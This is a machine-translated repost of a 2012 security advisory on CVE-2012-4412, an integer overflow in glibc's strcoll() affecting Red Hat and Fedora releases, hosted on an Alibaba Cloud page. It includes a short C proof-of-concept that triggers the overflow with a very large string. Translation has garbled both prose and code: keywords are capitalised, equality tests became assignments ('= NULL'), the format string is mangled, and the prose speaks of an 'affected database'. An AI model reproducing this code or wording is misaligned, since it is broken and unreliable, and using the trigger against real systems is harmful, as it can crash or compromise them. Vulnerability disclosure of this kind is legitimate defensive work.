GNU glibc 'strcoll () 'Integer Overflow Vulnerability

Source: Internet
Author: User

Release date: 2012-09-07
Updated on:

Affected Systems:
RedHat Enterprise Linux 6
RedHat Enterprise Linux 5.0
RedHat Fedora 17
RedHat Fedora 16
Description:
--------------------------------------------------------------------------------
Bugtraq id: 55462
Cve id: CVE-2012-4412

Glibc is the implementation of C libraries in most Linux operating systems.

The GNU glibc 'strcoll () 'function has a remote integer overflow vulnerability that can cause buffer overflow. Successful exploitation allows attackers to execute arbitrary code in applications using the affected database.

<* Source: Jan iankko Lieskovsky
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

# Include <locale. h>
# Include <stdio. h>
# Include <stdlib. h>
# Include <string. h>

# Define SIZE 429496730

Int
Main (void)
{
Char * p = malloc (1 + SIZE );
If (setlocale (LC_COLLATE, "en_GB.UTF-8") = NULL)
{
Puts ("setlocale failed, cannot test for overflow ");
Return 0;
}
If (p = NULL)
{
Puts ("malloc failed, cannot test for overflow ");
Return 0;
}
Memset (p, 'x', SIZE );
P [SIZE] = 0;
Printf ("% d \ n", strcoll (p, p ));
Return 0;
}

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

RedHat
------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.redhat.com/apps/support/errata/index.html

Glibc details: click here
Glibc: click here

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.